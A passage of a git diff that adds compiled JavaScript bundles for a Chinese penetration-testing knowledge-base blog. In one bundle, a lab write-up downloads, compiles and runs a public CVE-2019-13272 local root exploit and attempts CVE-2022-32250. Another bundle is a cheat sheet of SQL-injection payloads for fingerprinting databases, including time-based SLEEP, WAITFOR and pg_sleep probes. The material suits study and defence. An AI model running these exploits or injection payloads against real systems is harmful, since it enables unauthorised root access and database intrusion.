Inc.\nThis is free software; see the source for copying conditions. There is NO\nwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\nWritten by Roland McGrath and Ulrich Drepper.\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5b89\u88c5",(0,i.jsx)(n.code,{children:"glibc-2.24"})]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.del,{children:"\u8fd9\u4e2a\u65b9\u6cd5\u51fa\u4e86\u5f88\u591a\u95ee\u9898\uff0c\u5e72\u8106\u653e\u5f03\u4e86 \u76f4\u63a5 \u7528docker \u7f16\u8bd1 poc \u5c31\u884c\u4e86\u54c7"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"mkdir -p /tmp/glibc-2.24/src-build/ && cd /tmp/glibc-2.24\nwget https://ftp.gnu.org/gnu/glibc/glibc-2.24.tar.gz && tar -xvf glibc-2.24.tar.gz\ncd src-build/ && ../configure --prefix=/opt/glibc-2.24\nmake && make install\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u4f7f\u7528docker \u7f16\u8bd1",(0,i.jsx)(n.code,{children:"glibc-2.24"})," \u548c \u7f16\u8bd1 ",(0,i.jsx)(n.code,{children:"poc"})," \u5e76\u76f4\u63a5\u5bfc\u51fa",(0,i.jsx)(n.code,{children:"a.out"})]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-dockerfile",children:'# \u4f7f\u7528 Debian 9 (Stretch) \u4f5c\u4e3a\u57fa\u7840\u955c\u50cf\nFROM debian:9\n# \u89e3\u51b3 Debian 9 \u5df2\u7ecf\u8fbe\u5230\u4e86\u5176\u751f\u547d\u5468\u671f\u7684\u7ec8\u70b9\u5e76\u88ab\u79fb\u52a8\u5230\u4e86\u5f52\u6863\u72b6\u6001 \u95ee\u9898\nRUN echo "deb http://archive.debian.org/debian/ stretch main contrib non-free" > /etc/apt/sources.list \\\n && echo "deb http://archive.debian.org/debian-security/ stretch/updates main" >> /etc/apt/sources.list\n\n# \u5b89\u88c5\u7f16\u8bd1\u4f9d\u8d56 \u5ffd\u7565 APT \u5b89\u5168\u8b66\u544a\nRUN apt-get -o Acquire::Check-Valid-Until=false update && apt-get install -y \\\n build-essential \\\n gcc \\\n g++ \\\n bison \\\n perl \\\n python3 \\\n git \\\n gawk \\\n wget \n\n# \u521b\u5efa\u4e00\u4e2a\u5de5\u4f5c\u76ee\u5f55\nWORKDIR /glibc-build\n\n# \u514b\u9686 glibc \u6e90\u4ee3\u7801\nRUN git clone https://sourceware.org/git/glibc.git /glibc-source\n\n# \u5207\u6362\u5230\u7279\u5b9a\u7684\u7248\u672c\nRUN cd /glibc-source && git checkout glibc-2.24\n\n# \u914d\u7f6e\u6784\u5efa\u76ee\u5f55\nRUN mkdir /glibc-build/build\nWORKDIR /glibc-build/build\n\n# \u914d\u7f6e glibc\nRUN /glibc-source/configure --prefix=/opt/glibc-2.24\n\n# \u7f16\u8bd1\u548c\u5b89\u88c5\nRUN make -j$(nproc) && make install\n\n# \u8bbe\u7f6e\u5377\uff0c\u7528\u4e8e\u5bfc\u51fa\u7f16\u8bd1\u597d\u7684\u6587\u4ef6\nVOLUME /tmp\n\n'})}),"\n",(0,i.jsxs)(n.p,{children:["\u6267\u884c\u547d\u4ee4 ",(0,i.jsx)(n.del,{children:"\u597d\u4e86\u5f00\u59cb\u7b49\u5f85\u4e2a\u4e0a\u4e07\u5e74"})]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"docker build -t glibc-2.24-debian9 .\ndocker run --rm -v /tmp/1:/tmp -it glibc-2.24-debian9 /bin/bash \n# \u5bb9\u5668\u4e2d\nwget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c -O poc.c\ngcc -Wall --std=gnu99 -s /tmp/poc.c -o /tmp/ptrace_traceme_root\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u4e0a\u4f20\u5e76\u6267\u884c ",(0,i.jsx)(n.del,{children:"\u73a9\u4e2a\u5c41\u767d\u8d39\u529b\u6c14"})]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"chmod +x /tmp/ptrace_traceme_root\n/tmp/ptrace_traceme_root\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644115.png",alt:"image-20240112202526854"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\u5c1d\u8bd5 ",(0,i.jsx)(n.code,{children:"CVE-2022-32250"})]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4e0a\u9762docker \u5bb9\u5668\u73af\u5883\uff0c\u7f16\u8bd1poc"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"docker run --rm -v /tmp/1:/tmp -it glibc-2.24-debian9 /bin/bash \n# \u5bb9\u5668\u4e2d\nwget https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c -O exp.c\ngcc exp.c -o exp -l mnl -l nftnl -w\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.del,{children:"\u51fa\u9519\u5566"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644116.png",alt:"image-20240112204023742"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5b89\u88c5 ",(0,i.jsx)(n.code,{children:"libmnl"}),"\uff0c\u5e76\u518d\u6b21\u7f16\u8bd1"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"# \u5bb9\u5668\u4e2d\napt-get install -y libmnl-dev\ngcc exp.c -o exp -l mnl -l nftnl -w\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.del,{children:"\u8fd8\u662f\u51fa\u9519\u5566"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644117.png",alt:"image-20240112204205475"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5b89\u88c5 ",(0,i.jsx)(n.code,{children:"libnftnl-dev"}),"\uff0c\u5e76\u518d\u6b21\u7f16\u8bd1"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-sh",children:"apt install -y libnftnl-dev --allow-unauthenticated\ngcc exp.c -o exp -l mnl -l nftnl -w\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.del,{children:"\u53c8\u53c8\u53c8\u51fa\u9519\u4e86"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644118.png",alt:"image-20240112204841016"})}),"\n",(0,i.jsxs)(n.p,{children:["GPT\u63d0\u793a\u7684\u662f 5.1.x \u624d\u63d0\u4f9b\u7684 ",(0,i.jsx)(n.code,{children:"apt search linux-headers"})," \u770b\u4e86\u4e00\u4e0b\uff0c\u53d1\u73b0\u5e76\u6ca1\u6709\uff0c\u5c31\u653e\u5f03\u4e86"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644119.png",alt:"image-20240112205140417"})}),"\n",(0,i.jsx)(n.p,{children:"\u770b\u4e86\u4e00\u4e0b\u6570\u636e\u5e93\u4e5f\u6ca1\u6709\u5565\u597d\u7528\u7684\uff0c\u7b97\u4e86"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191644120.png",alt:"image-20240112212017967"})})]})}function d(e={}){const{wrapper:n}={...(0,o.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(p,{...e})}):p(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/2237.e6f699de.js b/en/assets/js/2237.e6f699de.js new file mode 100644 index 0000000..6c996a1 --- /dev/null +++ b/en/assets/js/2237.e6f699de.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2237],{23363:(e,t,i)=>{i.d(t,{A:()=>l});i(96540);var n=i(34164),o=i(21312),s=i(51107),a=i(74848);function l({className:e}){return(0,a.jsx)("main",{className:(0,n.A)("container margin-vert--xl",e),children:(0,a.jsx)("div",{className:"row",children:(0,a.jsxs)("div",{className:"col col--6 col--offset-3",children:[(0,a.jsx)(s.A,{as:"h1",className:"hero__title",children:(0,a.jsx)(o.A,{id:"theme.NotFound.title",description:"The title of the 404 page",children:"Page Not Found"})}),(0,a.jsx)("p",{children:(0,a.jsx)(o.A,{id:"theme.NotFound.p1",description:"The first paragraph of the 404 page",children:"We could not find what you were looking for."})}),(0,a.jsx)("p",{children:(0,a.jsx)(o.A,{id:"theme.NotFound.p2",description:"The 2nd paragraph of the 404 page",children:"Please contact the owner of the site that linked you to the original URL and let them know their link is broken."})})]})})})}},82237:(e,t,i)=>{i.r(t),i.d(t,{default:()=>r});i(96540);var n=i(21312),o=i(45500),s=i(21656),a=i(23363),l=i(74848);function r(){const e=(0,n.T)({id:"theme.NotFound.title",message:"Page Not Found"});return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(o.be,{title:e}),(0,l.jsx)(s.A,{children:(0,l.jsx)(a.A,{})})]})}}}]); \ No newline at end of file diff --git a/en/assets/js/22cb82dc.b1c0b6de.js b/en/assets/js/22cb82dc.b1c0b6de.js new file mode 100644 index 0000000..1c84fa6 --- /dev/null +++ b/en/assets/js/22cb82dc.b1c0b6de.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1445],{28453:(e,n,s)=>{s.d(n,{R:()=>d,x:()=>i});var t=s(96540);const l={},r=t.createContext(l);function d(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:d(e.components),t.createElement(r.Provider,{value:n},e.children)}},29387:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>i,default:()=>j,frontMatter:()=>d,metadata:()=>t,toc:()=>x});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","title":"\u6570\u636e\u5e93\u8bc6\u522b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/02.\u6570\u636e\u5e93\u8bc6\u522b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/02.\u6570\u636e\u5e93\u8bc6\u522b.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6ce8\u5165\u5224\u65ad","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad"},"next":{"title":"Oracle","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle"}}');var l=s(74848),r=s(28453);const d={},i=void 0,c={},x=[{value:"Oracle",id:"oracle",level:2},{value:"MSSQL",id:"mssql",level:2},{value:"PostgreSQL",id:"postgresql",level:2},{value:"Access",id:"access",level:2},{value:"\u603b\u7ed3\u7ecf\u9a8c",id:"\u603b\u7ed3\u7ecf\u9a8c",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function h(e){const n={a:"a",blockquote:"blockquote",br:"br",code:"code",h2:"h2",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u53e5"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"SLEEP\u51fd\u6570"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.php?id=1'-SLEEP(1)=0 LIMIT 1 --"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"BENCHMARK\u51fd\u6570"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5b57\u7b26\u4e32\u8fde\u63a5(\u6ce8\u610f\u6709\u4e2a\u7a7a\u683c)"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"page.php?id=' 'mysql' --"})," ",(0,l.jsx)(n.code,{children:"page.php?id=' and concat('some','string')"})]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u7248\u672c\u4fe1\u606f"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"select @@version"})," ",(0,l.jsx)(n.code,{children:"select version()"})]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u9519\u8bef\u6d88\u606f(\u6839\u636e\u8fd4\u56de\u7684\u9519\u8bef\u4fe1\u606f\u5224\u65ad)"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.php?id='"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u7279\u6709\u51fd\u6570"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"select connection_id()"})," ",(0,l.jsx)(n.code,{children:"select last_insert_id()"})," ",(0,l.jsx)(n.code,{children:"select row_count()"})]})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"oracle",children:"Oracle"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u53e5"}),(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5b57\u7b26\u4e32\u8fde\u63a5"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"`page.jsp?id='"}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{children:"'oracle' -- a`"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u9ed8\u8ba4\u8868"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"page.jsp?id='UNION SELECT 1 FROM v$version --"})," ",(0,l.jsx)(n.code,{children:"select banner FROM v$version"})," ",(0,l.jsx)(n.code,{children:"select banner FROM v$version WHERE rownum=1"})]}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u9519\u8bef\u6d88\u606f(\u6839\u636e\u8fd4\u56de\u7684\u9519\u8bef\u4fe1\u606f\u5224\u65ad)"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.jsp?id='"})}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"mssql",children:"MSSQL"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u53e5"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"WAITFOR \u51fd\u6570"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id=';WAITFOR DELAY '00:00:10'; --"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5806\u53e0\u67e5\u8be2\u9ed8\u8ba4\u53d8\u91cf"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id=sql'; SELECT @@SERVERNAME --"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u9519\u8bef\u6d88\u606f(\u6839\u636e\u8fd4\u56de\u7684\u9519\u8bef\u4fe1\u606f\u5224\u65ad)"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id='"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:["\u9519\u8bef\u6d88\u606f(\u5982\u679cid\u53c2\u6570\u662f\u6574\u6570\uff0c \u5219",(0,l.jsx)(n.code,{children:"@@SERVERNAME"}),"\u53d8\u91cf\u7684\u5b57\u7b26\u4e32\u503c\u53ef\u80fd\u5bfc\u81f4\u8f6c\u6362\u9519\u8bef)"]}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id=@@SERVERNAME"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:["\u9519\u8bef\u6d88\u606f(\u5982\u679cid\u53c2\u6570\u662f\u6574\u6570\uff0c \u5219",(0,l.jsx)(n.code,{children:"@@SERVERNAME"}),"\u53d8\u91cf\u7684\u5b57\u7b26\u4e32\u503c\u53ef\u80fd\u5bfc\u81f4\u8f6c\u6362\u9519\u8bef)"]}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.asp?id=0/@@SERVERNAME"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5e38\u91cf"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"@@pack_received"}),(0,l.jsx)(n.br,{}),(0,l.jsx)(n.code,{children:"@@rowcount"})]})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"postgresql",children:"PostgreSQL"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u53e5"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u5b57\u7b26\u4e32\u8fde\u63a5"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"id=1 and 'a'+'b'='a'"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4f11\u7720\u51fd\u6570"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.code,{children:"page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a"})})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"access",children:"Access"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!Warning]"}),"\n",(0,l.jsx)(n.p,{children:"Access\u662f\u8f7b\u91cf\u7ea7\u6570\u636e\u5e93\uff0c\u7279\u70b9\u662f\u53ea\u6709\u5355\u4e2a\u5e93\uff0c\u6ca1\u6709\u7528\u6237\uff0c\u5355\u6587\u4ef6\u5373\u53ef\u5b58\u50a8\u6570\u636e\uff0c\u5728SQL\u6ce8\u5165\u65f6\u5fc5\u987b\u731c\u6d4b\u8868\u540d\u548c\u5217\u540d\u3002\nAccess\u53ea\u6709\u8054\u5408\u6ce8\u5165\u548c\u5e03\u5c14\u76f2\u6ce8\u3002"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"\u63cf\u8ff0"}),(0,l.jsx)(n.th,{children:"\u8bed\u53e5"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"access\u65e0\u6cd5\u60f3\u5176\u4ed6\u6570\u636e\u5e93\u90a3\u6837\u53ea\u80fd\u53bb\u731c\u6d4b\u6570\u636e\u5e93\u547d"}),(0,l.jsx)(n.td,{children:"......"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"access\u7a7a\u767d\u7b26"}),(0,l.jsx)(n.td,{children:"%20\uff0c%09\uff0c%0A\uff0c%0C\uff0c%0D"})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"\u603b\u7ed3\u7ecf\u9a8c",children:"\u603b\u7ed3\u7ecf\u9a8c"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"\u65b9\u6cd5"}),(0,l.jsx)(n.th,{children:"\u63cf\u8ff0"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5e38\u89c1\u642d\u914d"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"asp"}),":sql server,Access",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:".net"})," :sql server",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"php"}),":PostgreSQL,Mysql",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"java"}),":Oracle,Mysql"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5404\u6570\u636e\u5e93\u6807\u5fd7\u6027\u4fe1\u606f"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"sql server"}),"\uff1aselect@@version ",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"Oracle"}),"\uff1aselect banner from v$version",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mysql"}),"\uff1aselect @@version\uff0cversion() -- \uff0clength(user)>0\u6b63\u5e38",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"postgresql"}),"\uff1aselect version() --"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5404\u6570\u636e\u5e93\u7279\u6709\u7684\u51fd\u6570"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"sql server"}),": @@pack_received @@rowcount",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mysql"}),":connection_id() last_insert_id() row_count()",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"orcale"}),":bitand(1,1)",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"postgresql"}),": select extract(dow from now())"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5bf9\u4e8e\u5b57\u7b26\u4e32\u5904\u7406\u65b9\u5f0f"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"sql server"})," \uff1aid=1 and 'a'+'b'='ab' --",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mssql"}),":id=1 and 'a'+'b'='ab'",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mysql"}),":id=1 and 'a'+'b'='ab' \uff0c 'ab'=concat('a','b')",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"oracle"}),":id=1 and 'a'+'b'='a'",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"postgresql"})," :id=1 and 'a'+'b'='a'"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u7279\u5b9a\u8868"}),(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"mssql,postgresql,mysql"}),"\uff1a",(0,l.jsx)(n.code,{children:"information_schema"})," ",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"postgresql"}),"\uff1a",(0,l.jsx)(n.code,{children:"pg_tables"})," => ",(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"mssql"}),"\uff1a",(0,l.jsx)(n.code,{children:"sysobjects"}),(0,l.jsx)(n.br,{}),(0,l.jsx)(n.strong,{children:"oracle"}),"\uff1a",(0,l.jsx)(n.code,{children:"all_tables,user_tables"})]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u62a5\u9519banner\u4fe1\u606f"}),(0,l.jsx)(n.td,{children:"...."})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.a,{href:"https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.WEB%E6%BC%8F%E6%B4%9E/01.SQL%E6%B3%A8%E5%85%A5/02.%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%86%E5%88%AB/",children:"\u6570\u636e\u5e93\u8bc6\u522b \xb7 d4m1ts \u77e5\u8bc6\u5e93"})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.a,{href:"https://www.modb.pro/db/96004",children:"SQL\u6ce8\u5165-\u6570\u636e\u5e93\u7c7b\u578b\u5224\u65ad - \u58a8\u5929\u8f6e"})}),"\n"]}),"\n"]})]})}function j(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/2308dad9.0adc6b88.js b/en/assets/js/2308dad9.0adc6b88.js new file mode 100644 index 0000000..e0b7056 --- 